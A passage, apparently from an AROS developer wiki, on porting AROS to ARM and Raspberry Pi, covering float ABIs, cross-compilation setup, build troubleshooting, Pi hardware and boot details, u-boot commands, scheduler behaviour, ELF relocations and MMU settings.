this case, because it's going to be compiling the ARM AROSBootstrap for ARM Linux) *armel - many of the "android" machines require since the entire OS is made for soft float VFP. *armfp - Efika MX target, Raspberry PI, EfikaMX, Pandora and virtually everything (VFP) Keep in mind it's possible to start hardfp AROS hosted on softfp system, though, as long as no calls between AROS and host require floating point parameters. NOTE: hardfloat objects *cannot* be linked with softfloat objects - they have a different ABI. Just keep in mind the arm nightly build machine is quite complex beast. It needs the x86_64 host compiler to compile AROS tools. The arm version is built every night using gcc-4.6.2 crosscompiler (built together with AROS) and successfully builds armel and armhf linux hosted targets. *needs an AROS code compiler for ARM target *as well as unix compiler for ARM linux host (would be best to have both softfp and armhf, we have softfp only now) with full set of libraries and includes. with—disable-crosstools $AROS_CC is always a wrapper around $KERNEL_CC ? If so, this is wrong for some ports. This can break Darwin, Windows and Android port. Yes, Android port will build. And even work. But it's not good because the port will not be ABI-compatible with other ARM ports. Android's ABI is different from GNUEABI. For example: <pre> enum test {foo, bar}; enum test testvar; </pre> sizeof(testvar) will be equal to sizeof(int) in GNUEABI (Linux and AROS) and sizeof(short) on Android. This affects linking objects from static linklibs, for example. Previously everything worked because $AROS_CC was a wrapper on top of $HOST_CC. And a real crosscompiler was used on non-ELF hosts. Android is the same. $KERNEL_CC is incompatible with AROS. compiler=kernel is appropriate _ONLY FOR CODE WHICH RUNS ON HOST OS_ (or barebone hardware, if we talk about native). This includes bootstraps, their linklibs, and host-side dynamic libraries (Windows makes extensive use of them because of architectural considerations. No single AROS object should be compiled with this setting. $KERNEL_CC is really compatible with AROS *ONLY IN LINUX-HOSTED* and no more. On other systems (Darwin, Windows, Android) this is not true any more, and compiler=kernel is never going to work. If you want to compile your AROS module against host OS includes, append the following to USER_INCLUDES (or USER_CFLAGS, this is effectively the same): -isystem $(GENINCDIR) $(KERNEL_INCLUDES) $(KERNEL_INCLUDES) expands to: -isystem <your_os_includes> -isystem <host_OS_gcc_private_includes> -nostdinc This makes AROS compiler adhering to host OS APIs. If you want some preprocessor symbols based on what your host OS actually is, add something like -DHOST_OS_$(AROS_HOST_ARCH). Why is there $(GENINCDIR) at all? Because host OS has its own libc includes, which would conflict with AROS ones. And the host OS libc is not binary-compatible with AROS one. Why doesn't Windows-hosted port use $(KERNEL_INCLUDES) ? Because WinAPI includes conflict with AROS ones in fundamental typedefs, like WORD, BYTE and BOOL. It's almost impossible to deal with this in any other way than rewriting WinAPI definitions using AROS types. Building under centos 6.3 (i386) currently, and AROS creates the toolchain itself. haven't yet committed the necessary changes but "./configure --target=raspi-armhf" is enough to start, then "make arosboot-raspi" will generate arosraspi.img (containing the bootstrap, kernel.resource, and exec.library) as well as arosraspi.rom (containing all the other essentials components such as dos, graphics etc). It will also copy over a config.txt file to make the raspi bootstrap code load the correct kernel, and a cmdline.txt that enables exec debug output. *armel = typically Debian 6, Ubuntu Maverick, Android, *armhf = typically Debian 7, Debian 8, Ubuntu Precise, Cross-compiling Ubuntu ARM softfp <pre> sudo sh echo 'foreign-architecture armel' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armel] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armel.list apt-get update apt-get install gcc-arm-linux-gnueabi libx11-dev:armel libsdl-dev:armel </pre> <pre> ./configure --target=linux-arm --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabi/include </pre> Cross-compiling Ubuntu ARM hard-float <pre> sudo sh echo 'foreign-architecture armhf' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armhf] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armhf.list apt-get update apt-get install gcc-arm-linux-gnueabihf libx11-dev:armhf libsdl-dev:armhf </pre> <pre> ./configure --target=linux-armhf --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabihf/include </pre> Now, the AROS build is configured properly and all you need to do is: make ==Build== ===64bit=== ===32bit=== # download/checkout the source someplace, e.g. /build/AROS-Src/ # make a directory to store external sources AROS downloads, e.g. /build/Ports # make a build directory, e.g. /build/aros-raspi-armhf # cd into the build dir, configure, and then run make -: <pre> >cd /build/aros-raspi-armhf >/build/AROS-Src/configure --target=raspberrypi-armhf --with-serial-debug --enable-ccache --with-portssources=/build/Ports >make >make arosboot-raspi </pre> then copy the files from /build/aros-raspi-armhf/bin/raspi-armhf/AROS/ onto an sdcard, and download/copy the Raspi firmware files onto it. You should then be able to boot the sdcard on your RasPi. The current W.I.P tree to svn. it can be built as follows .. <pre> ./configure --target=raspi-armhf make arosboot-raspi </pre> That will generate arosraspi.img, arosraspi.rom and config.txt in bin/raspi-arm/AROS - so either copy just those files to a fat formatted SD card (with the firmware files on), or copy the whole contents of the AROS folder. NB - if you have a Linux/other install, backup the existing config.txt first arosraspi.img contains the bootstrap (which has very basic mailbox code, framebuffer/gpio init, and console "emulation" via code pinched from our libbootconsole), kernel.resource, and exec.library arosraspi.rom contains all the other components needed to boot AROS. The config.txt file will tell the RasPI bootstrap to load the arosraspi kernel and ramdisk (rom). the bootstrap has minimal mailbox code, planning on adding either a resource or library that driver/app code will use to access it (likewise for GPIO) Help building AROS hosted on Linux ARM Was looking a way to use more my Handheld ARM based called Pyra (Dragonbox Pyra) an ARM (Omap5 cpu with 4GB ram) linux based machine (Debian Buster v10 with kernel 5.6.19 adapted) and have a try to compile the latest Aros sources by Deadwood directly on this device. Compilation stops after build libpopupmenu.a and trying to build libatomic have this error: <pre> Configuring build in bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic configure: WARNING: unrecognized options: --disable-nls, --without-x checking for --enable-version-specific-runtime-libs... no checking for --enable-generated-files-in-srcdir... no checking build system type... arm-unknown-linux-gnu checking host system type... arm-unknown-aros checking target system type... arm-unknown-aros checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for arm-aros-strip... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-strip checking for a thread-safe mkdir -p... /usr/bin/mkdir -p checking for gawk... no checking for mawk... mawk checking whether make sets $(MAKE)... yes checking whether make supports nested variables... yes checking for arm-aros-gcc... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-gcc checking whether the C compiler works... no configure: error: in /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic': configure: error: C compiler cannot create executables See config.log' for more details make[2]: *** [mmakefile:4489: /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic/.configured] Error 77 [MMAKE] make --no-print-directory TOP=/media/farox/pyra2/arosbuilds/toolchain-core-armhf-build SRCDIR=/media/farox/pyra2/arosbuilds/AROS CURDIR=tools/crosstools/gnu TARGET=tools-crosstools-gcc-libatomic-configure -s --file=mmakefile tools-crosstools-gcc-libatomic-configure failed: 512 [MMAKE] Error: Error while running make in tools/crosstools/gnu: No such file or directory make[1]: *** [Makefile:361: linklibs-libatomic] Error 10 make: *** [Makefile:183: crosstools] Error 2 </pre> looking at config.log on arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic found that arosbuilds/toolchain-core-armhf/arm-aros-ld: cannot find -laeabi so do make linklibs-aeabi-arm-quick and the missing lib was built. now the next stop is at fatal error: bits/libc-header-start.h: No such file or directory and fatal error: sys/cdefs.h: No such file or directory in many places so after checking that have this missing include files i have noted that my include path is a bit different, standard searching path is /usr/arm-linux-gnueabihf but in my system is /usr/include/arm-linux-gnueabihf so if i add my path to some mmakefiles compilation goes on....but is a better way to add this path to avoid every mmakefiles to be changed? fixed with adding -I/usr/include/arm-linux-gnueabihf to where is missing on mmakefiles like USER_INCLUDES := -isystem $(GENINCDIR) -I/usr/include/arm-linux-gnueabihf $(KERNEL_INCLUDES) P.s. I have changed many mmakefiles and have at least compiled (after many hours) the toolchain doing make every time in arosbuilds/toolchain-core-armhf-build (also have to disable making tests under cplusplus but don't remember the directory ...) but ask an help to have an automated way to correctly build without modify mmakefiles. Last time built armhf target was around 2 years ago. At that point built is via cross-compilation from linux (ubuntu 22.04) using linux armhf crosscompiler (this can explain the path differences you are experiencing) as well as using AROS gcc cross-compiler in version 6.5.0 (build with option 21) in rebuild.sh). Since then AROS GCC has been updated to 10.5.0 and don't believe anyone tried to build the armhf target again. My suggestion would be to downgrade GCC to 6.5.0 (via editing AROS/config/gcc_def file) and try to first build using cross-compilation from x86_64 linux. Once that works, you will have a "template" to compare to native compilation under arm linux. Thanks for your suggestion...but think the toolchain with GCC 10.5.0 is compilable if i found a way to pass the path of my system to the script that build (option 21 on rebuild). The other only changes are (but don't know where to modify...) is to add the build of libaeabi and disable the building of some tests under cplusplus that use exceptions and is not supported under ARM. try to crosscompile with my Linux amd64 PC. For paths look into core-linux-armhf/bin/linux-armhf/gen/config/target.cfg. A number of build-wide variable is set there containing paths to local build system. These variables and the target.cfg file are generated by AROS ./configure script. Thanks compilation now go forward...changed target.cfg under "toolchain-core-armhf-build/bin/linux-arm/gen/config" and do make on "toolchain-core-armhf-build" dir. Need to find where to enable build libaeabi.a so can build the entire toolchain with option 21 of rebuild.sh Found something that looks like libeabi in AROS/arm-all/arm-aeabi/mmakefile.src. Try adding a third line there: #MM- linklibs-armhd : libklibs-aeabi-arm Don't remember needing this library. Possibly the 6.5.0 GCC somehow does this while 10.5.0 is missing this. Try adding this line (and the variant "linklibs-armhf" instead of hd) but it did not solve the automatic building of the missing lib. I must do "linklibs-aeabi-arm-quick". Anyway after have build the aeabi lib i succefully built the toolchain (after many hours...). Smile To test I restarted from selecting option 21 (on rebuild.sh) but after many hours i get the same error of the kernel includes not found...maybe i need to modify the configure script for my case. With the toolchain built i try to build the core-linux-armhf (DEBUG) (option 22) but after a while it stopped with "cannot find -laeabi " so i made it built manually...and now i can continue compiling...i'll let you know if all goes ok. == Hardware == ===64bit=== ====BCM2712==== With the Pi5 Broadcom VideoCore 7 vc7 is an integrated GPU with 12 cores and up to 800 MHz clock. VideoCore VII is capable of OpenGL ES 3.1 and Vulkan 1.2. The driver support for the Raspberry Pi continues to build upon the [https://lore.kernel.org/dri-devel/20230928114532.167854-1-itoral@igalia.com/ open-source V3D driver] stack within [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/25450 Mesa] hopefully be merged for Mesa 23.3 *Raspberry Pi M.2 HAT+ Expansion Board *Geekworm X1001 PCIe to M.2 Key-M NVMe *Geekworm X1003 PCIe to M.2 HAT NVMe SSD PIP Board for Raspberry Pi 5 *Pineboards Pi Hut HatDrive! M.2 HAT 2024/V4 *Hat+ Gen2 Gen3 Nvme *GeeekPi 52Pi N04 for Raspberry Pi 5 NVME M.2 * *2024 RPI AI HAT - Hailo 20TOPs no LLMs *2026 RPI AI HAT+ 2 - Hailo 40TOPs slightly better? [https://www.raspberrypi.com/documentation/accessories/camera.html Cameras for Pi] *Raspberry Pi camera module, the V3 with Sony IMX708 back-illuminated CMOS 12 Megapixel sensor *Raspberry Pi Camera Module V2 – 8MP Sony IMX219 Sensor *Raspberry Pi camera Rev 1.3, 5MP 1080P OV5647 image/video module, 2592 x 1944 pixels ====BCM2711==== With the Pi4 an ARM a72 cpu is about x3 times the size of an a53 in the Pi3 the 2711b line used more power when idle, compared to the 2711c *2018 Raspberry Pi PoE HAT Power Over Ethernet Hat - design issues *2020 Raspberry Pi PoE+ HAT Power Over Ethernet Hat Pi3b+ Pi4 only - better design *Waveshare PoE HAT (B) with cooling fan for Raspberry Pi 3B+/4B 802.3af PoE *[https://github.com/axizo-pi/V3DLib vc6 V3D 4.2] is derived from [https://docs.broadcom.com/doc/12358545 vc4], but it is significantly different The QPU pipeline stays mostly the same, you still have an add ALU and a multiply ALU and it can issue two ALU OPs per cycle. There is still 4 SIMD lanes, interleaved over 4 cycles. The instruction encoding for the QPUs is different, but the core instructions are the same. Instructions for packed 8 bit int math has been dropped, along with most of the pack modes. Instructions for packed 16bit float math has been added (2 floats at in a single operation) With vc5/vc6, you write two packed 16f value to the tilebuffer (or four writes of 32f, if you are using the rgba32f framebuffer). And there is a handy vfpack operation which allows you to pack two f32s into a single 32bit value in a single instruction. You can vfpack directly into the tile buffer register. the multiply ALU can now fadd, so you can issue two fadds per instruction. the add ALU has gained a bunch of new instructions the A and B register files have been merged. You still only get an A read and a B read per instruction, but they read from one big register file (which means the underlying memory block has gone from two sets of "one read port, one write port" to one "two read ports, one write port" block) The theoretical max FLOPs per QPU remains the same at two per cycle, other than the bump from 400mhz to 500mhx but it looks like a lot of effort has been put putting those theoretical FLOPs to better use. *vc4 could run one or two threads per QPU. When you ran in two thread mode, the available register file halfed to 32 registers. *vc5 added a four thread per QPU mode, with 16 registers per thread. *vc6 doubled the size of the register file. You could now use all 64 threads in two thread mode and 32 registers in for thread mode. Single thread mode was removed, you always have at least two threads. With the threading improvements, the QPUs should spent much less time idle waiting NOPs for memory requests. Most of the design changes have gone to improving the fixed function hardware around the QPUs. A fixed function blend unit has been added, which should reduce load on the QPUs when doing alpha blending. hope software blending is still possible The tile buffer can now store upto 4 render targets (up to 128bits per pixel, so if you are using 4 32bit render targets, you can't have a depth buffer) A MMU, allowing a much simpler/faster kernel driver. Many more texture formats, framebuffer formats. All the features needed for opengl es 3.0 H.265 / HEVC decoder is a HEVCv2 Main 4:4:4 10 design supporting bitstreams up to profile 5.1 HEVC hardware decode supports 4kp60, 10-bit. Audio output is pretty much unchanged, but the HDMI audio channels now support 8x192kHz bitrates Each ALU typically have 2 floating point operators, and as you pointed out in a earlier post videocore 6 is no exception, with both a multiply and additive floating point operator. Thus theoretical GFLOPs are calculated with both operators in mind. That is what the 2 in my formula represents, and is common across any modern programmable shader, whether you calculate Nvidia, AMD, Intel, Boardcom or any other company's GPUs. Total ALUs * 2 * GHz clock = GFLOPs, In the case of Raspberry Pi 3, it's 24 ALUs * 2 operators * 0.4GHz = 19.2GFLOPs If the Videocore 6 does indeed only have 16 ALUs (16 * 2 * 0.5GHz), you'd have only 16GFLOPs but they are better utilised Possible maximum performance <pre> VideoCore IV @ 250MHz: 250 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 24 Gflop/s VideoCore IV @ 300MHz: 300 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 28.8 Gflop/s VideoCore VI @ 500MHz: 500 [MHz] x 2 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 32 Gflop/s </pre> Faster LPDDR4 memory. ====BCM2837==== With the Pi3 * Broadcom BCM43438 chip provides 2.4&nbsp;GHz 802.11n wireless LAN, Bluetooth Low Energy, and Bluetooth 4.1 Classic radio support, 3B+ [https://github.com/aros-development-team/AROS/commit/afa5bc0bb17d5dd06bcfdbac00853a3799ca8d76 LAN7515] The overclock ability has diminished with each chip version as the energy usage has increased. BCM2837 is one of the warmest yet and benefits from active fan cooling if all four cpu cores are in use for a short while. Video playback is not affected due to the custom support in the GPU. 5 V / 2.4 or 2.5 amp power supply recommended if all four cpu cores are running, else throttling (cpu slowdown) might occur. Dual VDP and scalable QPU in VC4 ARMv8-A has [https://developer.arm.com/documentation/102412/0100/Privilege-and-Exception-levels privilege levels] where userspace typically runs at ‘EL0’, the kernel at ‘EL1’ or ‘EL2’ and the firmware at the highest level ‘EL3’. ===32bit=== === Core Kernel === ====BCM2708(family)==== which includes the [http://elinux.org/RPi_Hardware BCM2835] (ARM1176JZF-S 700&nbsp;MHz CPU + VideoCore IV GPU + up to 1GB RAM) *Framebuffer (fb) using mailbox *IRQ scheduler, etc *Arasan based SD Card controller *Synopsis DesignWare USB 2.0 OTG controller [http://networkdirection.net/index.php?option=com_content&view=article&id=106:rasperry-pi-usb-controller&catid=45:raspberry-pi&Itemid=54 Unofficial DOCS pdf], [dwc_otg.c FreeBSD], [], [https://www.riscosopen.org/viewer/view/mixed/RiscOS/Sources/HWSupport/USB/Controllers/DWCDriver/ RiscOS USB Driver], [https://www.riscosopen.org/forum/forums/5/topics/878 RiscOS USB Discussion], [https://www.riscosopen.org/forum/forums/11/topics/1893 Other USB RiscOS], [http://plan9.bell-labs.com/plan9/index.html Plan9 Miller's usb] http://plan9.bell-labs.com/sources/contrib/miller/, [https://github.com/Chadderz121/csud CSUD driver], *[http://www.smsc.com/media/Downloads_Public/Data_Sheets/9512.pdf SMSC 9512] USB LAN/Hub chip *CMOS RAM *VCHIQ port which sends messages to the GPU e.g. for mouse, keyboard, audio on HDMI, etc *Audio Driver *Serial Peripheral Interface Bus (SPI) *[http://www.susa.net/wordpress/2012/06/raspberry-pi-pcf8563-real-time-clock-rtc/ I2C registers] *I2S *Universal Asynchronous Receiver Transmitter (UART) *[http://elinux.org/RPi_BCM2835_GPIOs GPIOs] and [http://www.adafruit.com/blog/2012/08/17/broadcom-bcm2835-peripheral-memory-map-and-gpio-alternate-use-chart-piday-raspberrypi-raspberry_pi/ Alternative view of GPIO] BCM2836 * For Pi B+, PI 2 and Pi 3 SMSC LAN9514 chip adding 10/100 Ethernet connectivity and four USB channels to the board *[http://www.andrewscheller.co.uk/rpi_pcb_modules.html PCB], [http://elinux.org/RPi_Low-level_peripherals Low level features], Implemented so far... # Modify the configure system so that it correctly builds for the arm hardware float raspi target. # Implemented the bootstrap to load the aros modules and prepare the arm to jump into them. Reworked the x86 console support so that parts can be stolen for raspi to use since t has no basic functionality to output to the display. # Implemented a kernel.resource to prepare the raspi for running aros and provide the low level api calls to expose available resources and allow exec, etc function. # Implemented serial debug support # Implemented the exec (and kernel) functionality required to make multitasking work (and interrupts, exceptions, syscalls, etc) # Implemented a timer.device to utilise the hardware timers. # Implemented a very basic gfx driver to expose the hardware's framebuffer. # Implemented an SD-Card driver for AROS which presently only supports the raspi's chipset but can easily be modified to support all sd-card hardware and media. # Fixed the fat filesystem support in AROS so that it can boot on RasPi's normal SD-Card setup. The "rom" image files needed use a different filename than the default linux, etc images so can be easily installed without harming the existing files - you only need to change the loaded images in the config file to get aros to boot. # Updated the build scripts to automatically download the necessary raspi firmware files and wrap it all up so that you can simply extract the archive to a fat formatted sdcard and boot it on the raspi without having to get anything else. # fix everything in contrib and ports to build for raspi (needs proper testing/fixes but allows every component to actually compile at least, including owb) + numerous other fixes to get things working on arm/raspi .. Improvements... # Implement a USB chipset driver "OR" finish the existing one [https://github.com/aros-development-team/AROS/commit/c07d13c724f944674be5db54fc6a71ee72a01809 usb otg] - the current code is mostly a skeleton that should initialise the chipset and then needs relevant code to support the different transfer types. It also has the "virtual" hub code in place to represent the raspi's USB port (from poseidons p.o.v) # Implement a driver for the USB NIC (a few weeks - depends on USB above) # Write an [https://github.com/aros-development-team/AROS/commit/d55d0f74d20b769bbb8c8d386e5c1d7a9154f05a audio driver] (a few weeks - independent of USB) and [https://github.com/aros-development-team/AROS/commit/e93a4c245f27a87c9c4c1d39206694b39059998a HDMI] # fix syscall bug in the current raspi kernel code # Graphics depend on having a decent "bcmdma.resource" implemented as to use the cpu's dma engine. The sd card driver needs to use it for transfers to/from the controller - and the gfx system needs to use it for "blitting". # [https://github.com/aros-development-team/AROS/commit/4019d84e4975d4dad987a12d57fe108f5ac048e6 Improve the gfx driver], [ vc4gfx HIDD] add [http://dri.freedesktop.org/wiki/VC4/ Gallium3D support] # [https://github.com/aros-development-team/AROS/commit/b13905b3e8e45b089f520b44692c81affddd066f Improve] the [https://github.com/aros-development-team/AROS/commit/3a876755c070f5c73c4f53c7f4d35b4f923088b9 sdcard] device driver - which is also pretty basic but should work with most cards, rework it to also support pci, etc. sd card interfaces on x86 # The current code using very rudimentary access to the gpio interface - so that should be implemented as some resource for other components to access, as-well as the i2c interface exposed over the gpio interface. that should have a hidd class implemented which uses the gpio resource to communicate. Boot up typical for most other OSs before the open sourcing of many binary blobs from 2017 onwards On power-up, the rpi [http://www.open.com.au/mikem/bcm2835/ BCM 2835] [https://github.com/hermanhermitage/videocoreiv VideoCore4] GPU, not the ARM CPU, is in control, and the SD card slot is the only peripheral device with power. The firmware burned into the BCM2835's VideoCoreIV GPU PROM requires a DOS-style partition table; a FAT-formatted first partition; and the freely redistributable but closed sourced Broadcom files “bootcode.bin” and “start.elf” in that partition. The boot sequence carries out several pre-boot tasks *On powering of the rpi, the GPU reads and executes bootcode.bin, which then loads start.elf *The GPU loads the “start.elf” file, eventually, into the L2 cache and then executes it *configures the memory split for the CPU and GPU *reads and parses “config.txt” from the same partition on the SD card and applies the settings (like a PC’s BIOS settings) *loads the “kernel.img” file, again from the same partition *activates the CPU to begin executing the loaded kernel image The CPU/GPU memory split is hard-coded into start.elf, so Broadcom provides three start.elf images, to give 32M, 64M, or 128M to the GPU for multimedia performance, and the remainder to the CPU. RPi uses [https://github.com/raspberrypi/firmware some closed source loaders] and at some point it loads a binary blob named "kernel.img" at 0x8000, at that point there would be a rudimentary Aros alive. If one wants to use the SD-card then there would have to be a driver for the interface and a fat filesystem handler (SD-card has to be formatted to fat filesystem) Boot code and kernel are now linked together and made into that binary blob, just for starters. Raspberry Pi uses [http://kernelnomicon.org/?p=133 u-boot] and [http://kernelnomicon.org/?p=138 UBoot] as bootloader, there's already some code in the Efika MX port for that. UBoot is a native bootloader and not just for the raspberry pi, it loads after start.elf. You can find Efika MX port from arch implementations, some hacking is needed for the mmakefile.src'es as iit dates back to before the Aros crosstool era or else you get some weird errors while building. You also need to code the bootstrap and serial handling. At the moment it seems that a fastest route for the native build would be to make one binary blob without using the package system. Raspberry's memory layout is pretty simple and if the implemented u-boot doesn't support loading other modules <pre> ? - alias for 'help' mtest - simple RAM test autoscr - run script from memory base - print or set address offset bbm - BBM sub-system bdinfo - print Board Info structure boot - boot default, i.e., run 'bootcmd' bootd - boot default, i.e., run 'bootcmd' bootm - boot application image from memory bootp - boot image via network using BootP/TFTP protocol cmp - memory compare coninfo - print console devices and information cp - memory copy crc32 - checksum calculation echo - echo args to console fatinfo - print information about filesystem fatload - load binary file from a dos filesystem fatls - list files in a directory (default /) go - start application at address 'addr' help - print online help iminfo - print header information for application image itest - return true/false on integer compare jade - loadb - load binary file over serial line (kermit mode) loads - load S-Record file over serial line loady - load binary file over serial line (ymodem mode) loop - infinite loop on address range md - memory display mm - memory modify (auto-incrementing) mtest - simple RAM test mw - memory write (fill) nfs - boot image via network using NFS protocol nm - memory modify (constant address) pci - list and access PCI Configuration Space ping - send ICMP ECHO_REQUEST to network host printenv - print environment variables rarpboot - boot image via network using RARP/TFTP protocol reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage saves - save S-Record file over serial line setenv - set environment variables sleep - delay execution for some time tftpboot - boot image via network using TFTP protocol USB - USB sub-system usbboot - boot from USB device version - print monitor version </pre> And there is one more thing about modular ports. In order to actually implement this, your bootstrapping environment should provide the ability to load several files. On PC this is provided by GRUB2. on CHRP you can read filesystem via OpenFirmware, and Sam's Parthenope relies on modified u-boot. If your bootstrap allows to load only a single file, then you stuck with monolithic kickstart. By the way... u-boot allows not only to boot up a single uImage or zImage, it also allows to write client programs AFAIK. With this approach, you actually can write modular bootstrap for ARM AROS using unmodified u-boot. Most used [http://www.compulab.co.il/workspace/mediawiki/index.php5/U-Boot_quick_reference uboot options] are fatls usb 0:1, the reason behind INTB_KERNEL is to allow use of the standard Exec function AddIntServer() to add interrupt handlers for hardware drivers etc. AmigaOS never used it for abstract hardware drivers. AmigaOS routed only raw hardware IRQs there. Their assignment was hardcoded. As well as number of them. Actually on AmigaOS every bus has its own interrupt subsystem. For example PCI bus. PCI interrupts on Amiga are routed to a single exec interrupt. 1:1 relationship between CPU and hardware interrupts is present only on PC. IMHO we miss things like AddInterrupt/RemInterrupt methods on our PCI subsystem's device class. PCI bus class should map these methods to whatever is appropriate. This is how it is done on AmigaOS and friends. When these are implemented, raw kernel.resource API will be needed only for several PC-specific drivers with hardwired resources. Exec IRQs are real IRQs only on Amiga hardware. On other machines they can be emulated where appropriate (VBlank is a good example). kernel.resource is meant to be different, its IRQs are hardware-agnostic, they are plain "Hardware IRQ number X, whatever this means". They are low-level actually, and meaningful only in the context of a particular system. Was that not the transition from irq.hidd to kernel.resource? No. A long time ago there was another hacky bit named INTB_TIMERTICK. It was "abstract timer interrupt", used by timer.device. It was the same as VBlank, but with larger frequency. I removed it, because kernel.resource API was a cleaner way to access this interrupt. Furthermore, there can be more than one timer in the system. Thinking about bringing back timer HIDD definitions again. hpet.resource is a bad idea. Can someone please enlighten me a little on how the scheduler is meant to work? Poseidon.library creates its "Poseidon Event Task" during RTF_COLDSTART -> then calls Wait(), and ends up in limbo because wait disables interrupts (used for the scheduler heartbeat), and basically waits forever because the sigbit is never set, since krnSwitch doesn't switch the task unless TF_SWITCH is set, and no codepath run during this seems to set it?? TF_SWITCH does not disable/enable switching. This flag just enables to run user-supplied hook when the task is being switched away. It is completely safe to call Wait() in Disable()d state. Doing this actually temporarily breaks this state. IDNestCnt gets remembered in struct Task, then next task is selected, and its IDNestCnt is restored in sysbase (see kernel_scheduler.c). If there are no other tasks, then your cpu_Dispatch() should enable interrupts on the CPU and enter idle mode. See x86 implementation for good example. You miss what happens next... 1. KrnSwitch() saves context of your task, saves IDNestCnt (core_Switch() and cpu_Switch()), then drops into cpu_Dispatch(). 2. cpu_Dispatch() calls core_Dispatch. Then two cases are possible: 2a. There is a READY task. It is picked up, its IDNestCnt is restored in SysBase, then cpu_Dispatch() needs to restore registers and exit. The next task is run. 2b. There are no READY tasks. core_Dispatch() returns NULL. In this case your cpu_Dispatch() should enter idle loop. It should just enable interrupts on the CPU and put it on halt. This allows it to process hardware interrupts. Eventually some of your interrupt handlers wakes up your task and puts it into READY list. My heartbeat interrupt has been slowed atm to help debugging - but it never actually gets a chance to fire because of the Wait() disabling interrupts. Perhaps you have forgotten to enable interrupts in your idle loop. There is a change in the format of AROS executables. Until now we were using Elf RELocable files which are usually used as intermediate object files. We had them for various reasons, one of them was how AROS files were built in the past. That days we had no real aros cross compiler and the option to embed relocation data in unix executables (or in executable files in general) was rather new and not every linux/unix system had it. Therefore we have decided to use intermediate files. Although it was somehow working (and it is still working :-)), it has some drawbacks. Therefore decided to introduce real Elf EXEC types, in first turn implemented on ARM target with option to expand in future to all other AROS architectures. The first patch was pretty easy and appeared to work somehow. It generated nice executables with embedded relocation info. Not only that, it also removed all global symbols adjusting relocation data to be relative to the beginning of the sections. That move reduced number of symbols in each executable significantly (depending on the file between 20 and 80% of all symbols could be removed). The only symbols that stayed in the file are local ones - due to the nature of the patch wasn't able to remove them since we have not seen them in the symbol hash table. The patch didn't worked though. The files were relocated, AROS kernel loaded, but it crashed very early. What happened? Well, the nature of ARM relocations happened :) Most of the relocation data on all machines is rather simple. Relocation can be absolute or pc-relative, sometimes the offset has to be bit shifted. On ARM v7 there is another one. There, when one wants to load an address of function/variable into register a combination of two instructions can be used: movw and movt. The first one loads immediate into lower 16 bits of a register while clearing upper 16 bits. The second one loads immediate into upper 16 bits without touching lower halfword. Loading of a pointer into a register looks like this: movw r0, #:lower16:label movt r0, #:upper16:label In this case there are two relocations - one for lower halfword and another for upper. If an overflow of lower 16 bits occurs during relocation process, the upper one should be updated as well. Unfortunately with current patch and with typical ARM executables there is not enough information to perform the calculations. There are two options - the first one would be to give up and go back to "fake" executables, another one would be to change from REL to RELA relocation info. The latter contains an addend, extra data which can be used to perform all the relocation calculations I need. Decided for the second option. The patch is already in the works. There is another function for the binutils' bfd backend to perform the final relocation. There can decide what to do with every reloc info, modify data and eventually strip some symbols. An advantage is - at this stage of the linking process have also full access to all local symbols so can change all relocations section relative and eventually strip all symbols from the files. GPU VCore developed by Alphamosaic Ltd and now owned by Broadcom. Most of start.elf runs on the GPU. Placing ALL the userland GPU code in the videocore.hidd isn't going to be a terribly big problem because the code they published is nothing more than a shim that sends data straight to the GPU to execute. The good news about this is that we only need to write our HIDD using the OpenVG API. The shim is relatively small codewise and lives in the ARM memory (the actual OpenVG code itself lives in the GPU RAM area and its loaded from start.elf). That's also the bad news. Our driver has to translate AROS video calls to OpenVG calls, for most tasks it should be easy, for some, not so much. It's still probably less difficult and less work, than controlling the GPU directly. The other good news is that anything done through OpenVG happens on the GPU, its truly accelerated. It also has some nice font functions, meaning we can lead into an accelerated text mode later. Basically, AROS resets or locks up when it tries to use AROS_ATOMIC_INC or DEC. If I comment out the byte/word operations in the header files and use non-atomic operations, the code works as expected. have read that the L1 cache needs to be enabled to use LDREX and co (which I also read is only meant to be used on multi processor systems with shared memory) - however I am certain this is correctly enabled. If you are using LREX or STREX, you should have L1 cache enabled, at least on the ARM CPU I work with at work. L1 cache is enabled by enabling the MMU *AND* setting the C and I bits in the CPU - the C bit is ignored, and the I bit only covers the 16 byte instruction pipeline if the MMU is not enabled. Can you verify that your assembly is generating LDREX/STREX? From the behavior, it almost sounds like its generating the default Semaphore locked atomics. Impossible. There are no semaphore-locked atomics. There are Disable()/Enable()-based ones instead. And there's a special #define AROS_NO_ATOMIC_OPERATIONS in this case, which tweaks Disable()/Enable() implementations not to recurse forever. I have tested this on ARMv5 which does not have ldrex/strex, it works fine. On those ARMs there's no way to have real atomics. On other OSes (like Linux) this is done by introducing things like atomic_t, which appears to be a complex structure, holding the value together with accompanying spinlock (implemented using swp). #warning "TODO: lookup optimal mmu table settings for raspi memory" /* Set up an identity-mapping for all 4GB */ for(x = 0; x < 4096; x ++) { pagetable[x] = x<<20 | (0x40002|0x80000|0x010000|0x00C00|0x04); } Shouldn't there be a second loop that sets the 'C' bit in the descriptor for the RAM pages? Currently, you have TEX=0, C=0, B=1 for all pages (Shared Device). You should have TEX=0, C=1, B=0 for RAM (Write-Through, Cached) So .. pagetable[x] = x<<20 | 2; should be enough? No, for RAM you need to change the '| 0x40' 